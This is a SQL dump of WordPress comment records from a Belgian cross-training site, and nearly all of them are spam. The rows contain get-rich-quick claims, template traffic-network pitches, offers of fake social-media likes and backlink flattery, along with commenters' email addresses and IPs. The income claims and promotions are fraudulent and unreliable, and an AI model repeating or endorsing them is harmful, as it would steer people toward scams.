(126, 1, 'LindaOr', 'linda_sanchezter720@outlook.com', 'http://soft-making-half-million.com/downloadnow.html', '37.115.189.79', '2015-03-26 00:04:52', '2015-03-26 00:04:52', 'After getting more than 11000 visitors/day to my new website and earning $16452 first week I thought your www.crosstrainingcenter.be website also need  unstoppable flow of traffic &amp;amp; money... \r\n \r\nUse this BRAND NEW software and get all the traffic for your website you will ever need ... \r\n \r\n= = &amp;gt; &amp;gt; http://soft-making-half-million.com/downloadnow.html \r\n \r\nIn testing phase it generated 867,981 visitors and $540,340. \r\n \r\nThen another $86,299.13 in 90 days to be exact. That\'s $958.88 a \r\nday!! \r\n \r\nAnd all it took was 10 minutes to set up and run. \r\n \r\nBut how does it work?? \r\n \r\nYou just configure the system, click the mouse button a few \r\ntimes, activate the software, copy and paste a few links and \r\nyou\'re done!! \r\n \r\nClick the link BELOW as you\'re about to witness a software that \r\ncould be a MAJOR turning point to your success. \r\n \r\n= = &amp;gt; &amp;gt; http://soft-making-half-million.com/downloadnow.html \r\nBest regards \r\nYour old friend Linda', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36', '', 0, 0),
(127, 1, 'Catherine', 'hpidwo@dayrep.com', 'http://s.ihaus.co.uk/x3', '104.168.70.17', '2015-04-10 03:33:44', '2015-04-10 03:33:44', 'Hi, my name is Catherine and I am the sales manager at StarSEO Marketing. I was just looking at your Hello world! | Cross Training Center (Namur - Limelette) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are interested in niches like yours. By getting your website on this service you have a chance to get your site more popular than you can imagine. It is free to sign up and you can read more about it here: http://bbqr.me/ij - Now, let me ask you... Do you need your website to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your site on the network I am describing. This traffic service advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular sites are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://1be.info/3o3a', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(128, 1, 'Catherine', 'menqhseqs@dayrep.com', 'http://bbqr.me/ij', '23.94.186.73', '2015-04-13 09:39:25', '2015-04-13 09:39:25', 'Hi, my name is Catherine and I am the sales manager at StarSEO Marketing. I was just looking at your Hello world! | Cross Training Center (Namur - Limelette) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you didn\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are looking for niches like yours. By getting your website on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://bbqr.me/ij - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am describing. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular websites are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://s.ihaus.co.uk/x3', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(129, 1, 'Olivie', 'jkweftbfj@hotmail.com', 'http://bbqr.me/mu', '104.168.67.69', '2015-04-22 18:25:59', '2015-04-22 18:25:59', 'Hi my name is Olivie and I just wanted to drop you a quick note here instead of calling you. I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more visitors. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get targeted visitors from and they let you try their service for free for 7 days. I managed to get over 300 targeted visitors to day to my site. Visit them here: http://tf3.info/uu', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(130, 1, 'Olivie', 'fgpoiz@hotmail.com', 'http://tf3.info/uu', '104.168.63.93', '2015-05-04 16:06:10', '2015-05-04 16:06:10', 'Hi my name is Olivie and I just wanted to drop you a quick note here instead of calling you. I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more visitors. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your niche. There is a company that you can get targeted visitors from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my website. Visit them here: http://esyok.com/shirt/b9', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
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(132, 1, 'MichaelPr', 'ms_sophia_taylor@outlook.com', 'http://www.2000-usd-per-day.com/download.html', '46.119.112.121', '2015-05-26 14:33:42', '2015-05-26 14:33:42', 'Hi, www.crosstrainingcenter.be admin how about finally earning \r\n$1500-$2500/day without lifting a finger? \r\n \r\nIf making money online COULD be \r\nas easy as writing your own check… \r\n \r\nThis might be it. \r\nhttp://www.2000-usd-per-day.com/download.html \r\n \r\n3 minutes into the video? Yep. That’s \r\na $10000-$15000/week, right there. \r\n \r\n… All made with virtually no effort. \r\n \r\nWatch it and see for yourself. Download and copy exact system for yourself here: \r\nhttp://www.2000-usd-per-day.com/download.html \r\n \r\nYour old friend Sophia', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36', '', 0, 0),
(133, 1, 'money for surveys', 'karen-garcia@hotmail.com', 'http://www.take-surveys-earn-cash.com/surveys.html', '46.118.158.187', '2015-06-09 20:33:52', '2015-06-09 20:33:52', 'Earn up to $3500/month just answering simple surveys \r\nAverage people just like you are earning ~3500usd month just for taking simple surveys.... \r\nnow it\'s your time \r\nhttp://www.take-surveys-earn-cash.com/surveys.html \r\nHi www.crosstrainingcenter.be admin just wanted to let you know \r\n \r\nThere\'s an incredible new opportunity \r\nthat just grabbed my attention! \r\n \r\nIt\'s almost too good to be true. Big \r\ncompanies are paying people just for giving \r\ntheir opinions! I can\'t believe this guy and others are cashing out money just for filling out simple surveys read here how they are doing this: \r\n \r\nhttp://www.take-surveys-earn-cash.com/surveys.html \r\n \r\n \r\nThat\'s right! I\'m not kidding, all you\'ve got \r\nto do is complete simple surveys and these \r\ncompanies will pay you fat cash for it and it does not mater form which country you are, they need people from all over world! \r\n \r\nYou\'ve got to see this in video. \r\n \r\nhttp://www.take-surveys-earn-cash.com/surveys.html \r\n \r\nBut the truth is... they\'re not letting \r\nvery many people join the program so \r\nyou\'ve got to hurry! \r\n \r\nSee you there! \r\nyour old friend! \r\nKaren', 0, '0', 'Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.17', '', 0, 0),
(134, 1, 'moving companies', 'ayjbiel@gmail.com', 'http://pepperhome.ru/?option=com_k2&amp;amp;view=itemlist&amp;amp;task=user&amp;amp;id=98720', '78.244.88.55', '2015-06-17 21:14:59', '2015-06-17 21:14:59', 'Superb post however I was wondering if you could write a litte more on this topic? I\'d be very grateful if you could elaborate a little bit more. Appreciate it!|', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
(135, 1, 'moving interstate australia', 'goslcsdxc@gmail.com', 'http://bgnovinata.com/component/k2/itemlist/user/127115', '213.220.219.150', '2015-06-18 20:24:49', '2015-06-18 20:24:49', 'I have been browsing online more than 4 hours today, yet I never found any interesting article like yours. It is pretty worth enough for me. In my view, if all webmasters and bloggers made good content as you did, the net will be a lot more useful than ever before.|', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(136, 1, 'Donna', 'yzeatkzl@tom.com', 'http://www.kaktusit.com/a252', '107.172.6.73', '2015-07-20 09:27:59', '2015-07-20 09:27:59', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and most of the users are interested in topics like yours. By getting your site on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://gf10.com.br/url/iq2f - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular blogs are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Read more here: http://cabkit.in/e137', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(137, 1, 'Donna', 'wuxlqivgs@tom.com', 'http://www.kaktusit.com/a252', '172.245.120.6', '2015-07-29 15:57:41', '2015-07-29 15:57:41', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and most of the users are interested in topics like yours. By getting your website on this service you have a chance to get your site more popular than you can imagine. It is free to sign up and you can find out more about it here: http://bbqr.me/4fj5 - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular sites are using this network to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Find out more here: http://www.kaktusit.com/a252', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(138, 1, 'Donna', 'xnqzfry@tom.com', 'http://bbqr.me/4fj5', '23.94.170.143', '2015-08-05 22:22:38', '2015-08-05 22:22:38', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you didn\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your website on this network you have a chance to get your site more popular than you can imagine. It is free to sign up and you can read more about it here: https://spna.ca/1pvm - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything. All the popular sites are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Read more here: http://www.urlator.co/w7uk', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
(139, 1, 'Valerie', 'jztmaaxqwks@tom.com', 'http://digitalvikn.com.br/u/nk00', '23.94.170.211', '2015-08-12 08:49:20', '2015-08-12 08:49:20', 'I was just looking at your Hello world! | Cross Training Center (Namur) site and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for topics like yours. By getting your site on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://ittsy.com/it/3x - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your site on the service I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular sites are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://www.urlator.co/w7uk', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(140, 1, 'Valerie', 'eahmfzixp@tom.com', 'http://www.urlator.co/w7uk', '23.94.173.64', '2015-08-20 20:32:25', '2015-08-20 20:32:25', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for topics like yours. By getting your site on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://www.urlator.co/w7uk - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the service I am describing. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular blogs are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://bbqr.me/4fj5', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
(141, 1, 'Lindsey', 'vzigsng@tom.com', 'https://spna.ca/1pvm', '23.95.196.194', '2015-09-09 13:01:56', '2015-09-09 13:01:56', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are looking for topics like yours. By getting your website on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://digitalvikn.com.br/u/nk00 - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am describing. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular blogs are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://www.arvut.org/1/dft', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(142, 1, 'Lindsey', 'wxaawanejq@tom.com', 'http://ittsy.com/it/3x', '23.94.173.64', '2015-09-17 01:49:37', '2015-09-17 01:49:37', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and most of the users are looking for websites like yours. By getting your website on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://tgi.link/dcf2 - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your site on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular websites are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://www.arvut.org/1/dft', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(143, 1, 'Lindsey', 'ffsspscbio@tom.com', 'http://ittsy.com/it/3x', '107.173.168.72', '2015-09-26 14:20:29', '2015-09-26 14:20:29', 'I was just looking at your Hello world! | Cross Training Center (Namur) site and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you didn\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your website on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://bbqr.me/4fj5 - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your site on the service I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything. All the popular sites are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Find out more here: http://tgi.link/dcf2', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(144, 1, 'Lindsey', 'wcablahyt@tom.com', 'http://tgi.link/dcf2', '23.94.170.211', '2015-10-10 01:38:14', '2015-10-10 01:38:14', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are interested in topics like yours. By getting your site on this service you have a chance to get your site more popular than you can imagine. It is free to sign up and you can find out more about it here: http://tgi.link/dcf2 - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything. All the popular websites are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://tgi.link/dcf2', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(145, 1, 'Lindsey', 'irqyhwem@tom.com', 'http://digitalvikn.com.br/u/nk00', '23.95.196.194', '2015-10-19 01:25:42', '2015-10-19 01:25:42', 'I was just looking at your Hello world! | Cross Training Center (Namur) site and see that your site has the potential to become very popular. I just want to tell you, In case you didn\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your site on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://ittsy.com/it/3x - Now, let me ask you... Do you need your website to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your site on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything. All the popular websites are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://ittsy.com/it/3x', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0);
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(152, 1, 'Mark', 'mark357177@hotmail.com', 'http://www.FyLitCl7Pf7kjQdDUOLQOuaxTXbj5iNG.com', '188.143.232.70', '2016-01-29 20:15:46', '2016-01-29 20:15:46', 'mFCLbZ http://www.FyLitCl7Pf7kjQdDUOLQOuaxTXbj5iNG.com', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
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(154, 1, 'Emily', 'yrksgbfl@gmail.com', 'http://mariowelte.de/8ajy', '37.9.44.241', '2016-05-01 01:09:13', '2016-05-01 01:09:13', 'Hello my name is Emily and I just wanted to send you a quick message here instead of calling you. I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get keyword targeted traffic from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my site. Visit them here: http://janluetzler.de/5ier', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(155, 1, 'Donna', 'wsgtobsi@gmail.com', 'http://nfc.lol/7uzt', '23.95.253.154', '2016-05-07 07:33:16', '2016-05-07 07:33:16', 'Hello, I tried calling you several times today, and I\'m not getting through for some reason. If your website does not have many Facebook Likes, why would someone visit your Facebook Fanpage? People Like you when other people like you. The more people that LIKE your website and fanpage on Facebook, the more credibility you will have with new visitors. It works the same for Twitter, Instagram and Youtube. When people visit your page and see that you have a lot of followers, they now want to follow you too. They too want to know what all the hype is and why all those people are following you. Get some free likes, followers, and views just for trying this service I found: http://shrtlnk.de/7w9i', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0);
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(156, 1, 'Donna', 'lntqureenao@gmail.com', 'http://janluetzler.de/3vm2', '23.95.251.133', '2016-05-16 08:42:53', '2016-05-16 08:42:53', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try their service for free here: http://janluetzler.de/3vm2', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(157, 1, 'Donna', 'oajaob@googlemail.com', 'http://yourls.endinahosting.com/zupe', '23.95.253.154', '2016-06-01 06:24:09', '2016-06-01 06:24:09', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try their service for free here: http://shrtlnk.de/7w9i', 0, 'spam', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(158, 1, 'Sabrina Warren', 'zgysuezzp@hyvagbn.com', 'http://kfon.eu/3', '69.16.147.156', '2017-02-23 03:22:44', '2017-02-23 03:22:44', 'Hi my name is Sabrina Warren and I just wanted to send you a quick message here instead of calling you. I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your website topic. There is a company that you can get keyword targeted traffic from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my site. http://smpros.tk/q', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(159, 1, 'Sabrina Warren', 'pggzmxk@pqmggzw.com', 'http://smpros.tk/q', '69.16.147.148', '2017-02-28 15:35:12', '2017-02-28 15:35:12', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your site on this network you have a chance to get your site more popular than you can imagine. It is free to sign up and you can find out more about it here: http://s.beautheac.net/52 - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the service I am describing. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular blogs are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://acortarurl.es/5i', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(160, 1, 'Sandra', 'nxwnovdsip@nrnwpdi.com', 'http://shorturl.van.ee/8', '31.168.172.137', '2017-03-03 02:32:46', '2017-03-03 02:32:46', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try their service for free here: http://v-doc.co/nm/39zu3', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(161, 1, 'Vickie Figueroa', 'vcpkcc@soagklfa.com', 'http://link.virtualrick.com/8u', '208.167.254.86', '2017-03-16 16:47:10', '2017-03-16 16:47:10', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and most of the users are interested in topics like yours. By getting your site on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://link.virtualrick.com/8u - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your website on the service I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular blogs are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Find out more here: http://kfon.eu/k', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(162, 1, 'Tami Sandoval', 'osljwqxxiti@miyabuy.com', 'http://wntdco.mx/vlyb4', '209.107.214.136', '2017-03-30 04:12:35', '2017-03-30 04:12:35', 'Hi my name is Tami Sandoval and I just wanted to send you a quick message here instead of calling you. I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a successful website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get keyword targeted visitors from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my website. http://soheavyblog.com/1m', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(163, 1, 'Elisa Brown', 'leyswgiuz@mrflazu.com', 'http://shorturl.van.ee/h', '81.171.97.125', '2017-04-24 05:51:52', '2017-04-24 05:51:52', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://priscilarodrigues.com.br/url/v', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(164, 1, 'Elisa Brown', 'exhneloegrv@fqehdcymi.com', 'http://priscilarodrigues.com.br/url/v', '205.185.209.130', '2017-04-28 22:17:38', '2017-04-28 22:17:38', 'This is a message to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://priscilarodrigues.com.br/url/v - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)                                                                                                                                                - Unsubscribe here: http://acortarurl.es/8y', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(165, 1, 'Chelsea Wallace', 'hqklgtrqgwh@fvrmaw.com', 'http://pcgroup.com.uy/15', '81.171.81.234', '2017-05-24 14:50:12', '2017-05-24 14:50:12', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your site: http://pcgroup.com.uy/15 - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)																				Unsubscribe here: http://acortarurl.es/97', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(166, 1, 'Sarah Hughes', 'lnuawlisx@jdiszkxd.com', 'http://magc.co/7fe', '209.197.6.138', '2017-06-04 23:43:49', '2017-06-04 23:43:49', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your site: http://tdil.co/3p - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)																				Unsubscribe here: http://tdil.co/5p', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(167, 1, 'Sarah Hughes', 'ghfqfdsus@tqlqjagzcz.com', 'http://priscilarodrigues.com.br/url/v', '196.52.32.11', '2017-06-14 02:53:08', '2017-06-14 02:53:08', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://magc.co/7fe																				Unsubscribe here: http://tdil.co/5p', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(168, 1, 'Ann Weaver', 'idllhldszt@gouxwnil.com', 'http://magc.co/7fe', '205.185.209.188', '2017-06-24 18:28:52', '2017-06-24 18:28:52', 'I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Check it out here: http://stpicks.com/27																			Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
